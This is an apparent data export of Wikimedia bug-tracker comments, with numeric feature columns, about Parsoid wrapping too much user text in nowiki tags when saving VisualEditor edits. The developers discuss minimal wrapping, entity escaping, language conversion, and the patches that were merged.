238857,VisualEditor: Inspecting image immediately after inserting it causes exception,*** Bug 51863 has been marked as a duplicate of this bug. ***,,,1374624697,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4v36rjb5p4c3fhjflpoq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51863 has been marked as a duplicate of this bug. ***
52841,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Right now the following HTML entered by a user:

<p>Hello my [[name]] is Julian and I live in the city of Rochester, New York with my friend Sandy; we write [[books]].</p>

… turns into:

<p>Hello my <nowiki>[[name]] is Julian and I live in the city of Rochester, New York with my friend Sandy; we write [[books]].</nowiki></p>

… whereas ideally it should be minimal rather than maximal:

<p>Hello my <nowiki>[[</nowiki>name<nowiki>]]</nowiki> is Julian and I live in the city of Rochester, New York with my friend Sandy; we write <nowiki>[[</nowiki>books<nowiki>]]</nowiki>.</p>

This would significantly reduce issues with users accidentally inputting wikitext.  We're taking actions in VisualEditor-land to discourage such input, but if Parsoid could help it would be hugely useful.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1373063340,1374181853.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-qf4vt6acq5wtvvlwympv,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,6.5,0.0,3.5,8.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,5.5,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.5,15.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,2.5,1.5,1.0,0.0,7.5,8.5,9.5,0.0,0.0,0.0,7.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,14.5,3.9189144736842105,0.6339912280701754,"Right now the following HTML entered by a user:

<p>Hello my [[name]] is Julian and I live in the city of Rochester, New York with my friend Sandy; we write [[books]].</p>

… turns into:

<p>Hello my <nowiki>[[name]] is Julian and I live in the city of Rochester, New York with my friend Sandy; we write [[books]].</nowiki></p>

… whereas ideally it should be minimal rather than maximal:

<p>Hello my <nowiki>[[</nowiki>name<nowiki>]]</nowiki> is Julian and I live in the city of Rochester, New York with my friend Sandy; we write <nowiki>[[</nowiki>books<nowiki>]]</nowiki>.</p>

This would significantly reduce issues with users accidentally inputting wikitext.  We're taking actions in VisualEditor-land to discourage such input, but if Parsoid could help it would be hugely useful.

--------------------------
**Version**: unspecified
**Severity**: normal"
238268,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","There are still some scenarios where nowiki wrapping will be applied to a longer string than required.  I haven't tried to optimize it all, and if there are still issues, I can revisit it.",,,1374182135,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,2,,5.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,8.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.875,0.825,"There are still some scenarios where nowiki wrapping will be applied to a longer string than required.  I haven't tried to optimize it all, and if there are still issues, I can revisit it."
238264,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)",This will likely be deployed later today.,,,1374181853,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,This will likely be deployed later today.
238261,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 74110 merged by jenkins-bot:
Take #2: (Bug 50841) Reduce scope of nowiki tags

https://gerrit.wikimedia.org/r/74110",,,1374181486,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,12.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9583333333333334,"Change 74110 merged by jenkins-bot:
Take #2: (Bug 50841) Reduce scope of nowiki tags

GERRIT_URL"
238259,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 74110 had a related patch set uploaded by Subramanya Sastry:
Take #2: (Bug 50841) Reduce scope of nowiki tags

https://gerrit.wikimedia.org/r/74110",,,1374033113,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,11.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.9642857142857143,"Change 74110 had a related patch set uploaded by Subramanya Sastry:
Take #2: (Bug 50841) Reduce scope of nowiki tags

GERRIT_URL"
238256,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 72858 merged by jenkins-bot:
(Bug 50841): First pass reducing scope of nowiki tags

https://gerrit.wikimedia.org/r/72858",,,1373426923,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.045454545454546,1.0,"Change 72858 merged by jenkins-bot:
(Bug 50841): First pass reducing scope of nowiki tags

GERRIT_URL"
238251,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 72858 had a related patch set uploaded by Subramanya Sastry:
(Bug 50841): First pass reducing scope of nowiki tags

https://gerrit.wikimedia.org/r/72858",,,1373411404,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.423076923076923,1.0,"Change 72858 had a related patch set uploaded by Subramanya Sastry:
(Bug 50841): First pass reducing scope of nowiki tags

GERRIT_URL"
238246,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Possibly interesting nowiki watch list to monitor nowiki application in live edits:
https://en.wikipedia.org/w/index.php?title=Special:AbuseLog&offset=&limit=500&wpSearchFilter=550",,,1373395088,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.066666666666666,0.9333333333333333,"Possibly interesting nowiki watch list to monitor nowiki application in live edits:
URL"
238240,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #11)

> Oh I got it. We want to have <nowiki>-{ }-</nowiki> work, so we can't place
> -{
> }- back until all other -{ }- markups have been processed, but this also mean
> other text in nowiki misses the chance to be converted...

I guess -{ and }- in nowiki could be escaped before applying language conversion.",,,1373395037,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.411764705882353,0.7941176470588235,"(In reply to comment #11)

QUOTE
QUOTE
QUOTE
QUOTE

I guess -{ and }- in nowiki could be escaped before applying language conversion."
238233,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #10)
> (In reply to comment #8)
> > For us it would be helpful if we could separate those two aspects. If little
> > existing content relies on language conversion being disabled in nowiki, then
> > that might actually be possible.
> 
> There shouldn't be much. It's the case just because in Parser.php,
> 
> $text = $this->mStripState->unstripNoWiki( $text );
> 
> is placed after
> 
> $text = $this->getConverterLanguage()->convert( $text );
> 
> but I'm not 100% sure this is just something accidental (or placed in this
> order delibrately).

Oh I got it. We want to have <nowiki>-{ }-</nowiki> work, so we can't place -{ }- back until all other -{ }- markups have been processed, but this also mean other text in nowiki misses the chance to be converted...",,,1373390406,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,20.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,4.0,8.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.086021505376344,0.5698924731182796,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh I got it. We want to have <nowiki>-{ }-</nowiki> work, so we can't place -{ }- back until all other -{ }- markups have been processed, but this also mean other text in nowiki misses the chance to be converted..."
238223,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #8)
> For us it would be helpful if we could separate those two aspects. If little
> existing content relies on language conversion being disabled in nowiki, then
> that might actually be possible.

There shouldn't be much. It's the case just because in Parser.php,

$text = $this->mStripState->unstripNoWiki( $text );

is placed after

$text = $this->getConverterLanguage()->convert( $text );

but I'm not 100% sure this is just something accidental (or placed in this order delibrately).",,,1373390310,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,1.0,1.0,0.0,1.0,3.0,4.0,1.0,1.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,1.0,0.0,6.0,10.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,10.0,1.0,3.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,0.0,3.0,10.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.831168831168831,0.6233766233766234,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

There shouldn't be much. It's the case just because in Parser.php,

$text = $this->mStripState->unstripNoWiki( $text );

is placed after

$text = $this->getConverterLanguage()->convert( $text );

but I'm not 100% sure this is just something accidental (or placed in this order delibrately)."
238215,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Gabriel and I discussed the entity solution on IRC, and Gabriel made a good observation that fixing those in 'edit source' will become much harder compared to nowiki tags.  So, entity-based escaping makes fixups harder using the source editor, but makes it easier with VE.  With nowiki, it is the opposite.  But, presumably the noneditability of nowiki sections in VE is temporary.

I'll tackle this with nowikis today by only changing how identified text blocks are escaped without trying to optimize placement itself (Ex:, in reality it is sufficient to only escape ""[["" or ""]]"" in [[Foo]], but that requires more global knowledge which will complicate this).

We'll try to wrap closely occurring wikitext chars in a single nowiki block.  So, ""[[foo]]"" will be wrapped as <nowiki>[[foo]]</nowiki>.  ""Closely occurring"" will be heuristic based, say within X chars.",,,1373388769,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0.5,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,1.0,0.0,1.5,0.0,5.5,10.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,4.0,0.0,1.5,0.0,0.5,0.0,8.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,3.0,3.0,8.0,1.0,3.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,10.0,4.0,0.0,5.0,0.0,3.5,0.0,1.0,1.0,0.5,2.5,2.0,0.0,7.5,3.8473684210526318,0.6842105263157895,"Gabriel and I discussed the entity solution on IRC, and Gabriel made a good observation that fixing those in 'edit source' will become much harder compared to nowiki tags.  So, entity-based escaping makes fixups harder using the source editor, but makes it easier with VE.  With nowiki, it is the opposite.  But, presumably the noneditability of nowiki sections in VE is temporary.

I'll tackle this with nowikis today by only changing how identified text blocks are escaped without trying to optimize placement itself (Ex:, in reality it is sufficient to only escape ""[["" or ""]]"" in [[Foo]], but that requires more global knowledge which will complicate this).

We'll try to wrap closely occurring wikitext chars in a single nowiki block.  So, ""[[foo]]"" will be wrapped as <nowiki>[[foo]]</nowiki>.  ""Closely occurring"" will be heuristic based, say within X chars."
238209,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #6)
> Actually, why not use entities for escaping?  That will eliminate nowikis,
> make
> them editable, and display as text.
> 
> [[Foo]] ==> &#91;&#91;Foo&#93;&#93;
> 
> and the like.  Am I missing something that makes this problematic?

Numeric entities are very hard for users to decipher. While unwanted nowiki tags can simply be removed, fixing up unwanted entity escapes is much more work.

(In reply to comment #7)
> (In reply to comment #5)
> > Re language conversion:
> > How often is nowiki used to suppress language conversion? Could -{ }- or some
> > other syntax be used instead?
> 
> It's more like some side effect...

For us it would be helpful if we could separate those two aspects. If little existing content relies on language conversion being disabled in nowiki, then that might actually be possible.",,,1373388668,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0.5,0.0,0.5,1.5,0.0,6.0,3.0,0.0,0.0,2.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,9.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,2.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,13.5,2.5,0.0,2.0,0.0,0.0,0.0,1.5,5.0,0.0,2.5,0.0,3.0,9.5,7.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.5,0.5,0.0,0.0,3.814814814814815,0.7314814814814815,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Numeric entities are very hard for users to decipher. While unwanted nowiki tags can simply be removed, fixing up unwanted entity escapes is much more work.

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

For us it would be helpful if we could separate those two aspects. If little existing content relies on language conversion being disabled in nowiki, then that might actually be possible."
238202,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #5)
> Re language conversion:
> How often is nowiki used to suppress language conversion? Could -{ }- or some
> other syntax be used instead?

It's more like some side effect...",,,1373344988,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.8260869565217391,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

It's more like some side effect..."
238198,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Actually, why not use entities for escaping?  That will eliminate nowikis, make them editable, and display as text.

[[Foo]] ==> &#91;&#91;Foo&#93;&#93;

and the like.  Am I missing something that makes this problematic?",,,1373343101,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,6.0,6.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,6.0,4.0,2.0,4.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,10.0,3.673076923076923,0.8076923076923077,"Actually, why not use entities for escaping?  That will eliminate nowikis, make them editable, and display as text.

[[Foo]] ==> &#91;&#91;Foo&#93;&#93;

and the like.  Am I missing something that makes this problematic?"
238195,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Maybe we could still use a single wrapper but exclude unsuspicious leading / trailing text from the nowiki block. I agree with Subbu that escaping each run of dangerous characters individually would often result in too much nowiki noise.

Re language conversion:
How often is nowiki used to suppress language conversion? Could -{ }- or some other syntax be used instead?",,,1373340138,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,4.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,9.0,1.0,3.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,4.457142857142857,0.8714285714285714,"Maybe we could still use a single wrapper but exclude unsuspicious leading / trailing text from the nowiki block. I agree with Subbu that escaping each run of dangerous characters individually would often result in too much nowiki noise.

Re language conversion:
How often is nowiki used to suppress language conversion? Could -{ }- or some other syntax be used instead?"
238191,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","It should be noted, that at present VE aggressively grabs normal text on either side of the offending elements as well.  For example, using VE to enter:

- I am the very model of a modern [[Major-General]], I've information vegetable, animal, and mineral, I know the kings of England, and I quote the fights historical

Becomes

- <nowiki>I am the very model of a modern [[Major-General]], I've information vegetable, animal, and mineral, I know the kings of England, and I quote the fights historical</nowiki>

Even though the plain text at either end of the wikilink could reasonably be ignored without increasing the number of nowikis.  Since VE can not currently handle nowiki elements, that also means that the entire sentence becomes uneditable in VE after saving.",,,1373064929,,PHID-USER-fuj45iylbizjg3yhehjt,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,1.0,1.0,0.5,7.0,1.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,4.5,0.5,4.5,10.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.5,2.5,2.0,8.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.5,6.5,0.0,0.0,0.0,5.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,4.0,3.8884825014343085,0.7187320711417097,"It should be noted, that at present VE aggressively grabs normal text on either side of the offending elements as well.  For example, using VE to enter:

- I am the very model of a modern [[Major-General]], I've information vegetable, animal, and mineral, I know the kings of England, and I quote the fights historical

Becomes

- <nowiki>I am the very model of a modern [[Major-General]], I've information vegetable, animal, and mineral, I know the kings of England, and I quote the fights historical</nowiki>

Even though the plain text at either end of the wikilink could reasonably be ignored without increasing the number of nowikis.  Since VE can not currently handle nowiki elements, that also means that the entire sentence becomes uneditable in VE after saving."
238187,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Actually, another way is to use the existing algorithm to detect contexts that would have been wrapped in <nowiki>..</nowiki> and apply nowiki-escaping to all possible wikitext chars in there (which is safe, but excessive).  This will not complicate the algorithm anymore, but will also introduce more nowiki tags than strictly necessary.",,,1373064668,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,2.0,2.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,3.0,4.430769230769231,0.8153846153846154,"Actually, another way is to use the existing algorithm to detect contexts that would have been wrapped in <nowiki>..</nowiki> and apply nowiki-escaping to all possible wikitext chars in there (which is safe, but excessive).  This will not complicate the algorithm anymore, but will also introduce more nowiki tags than strictly necessary."
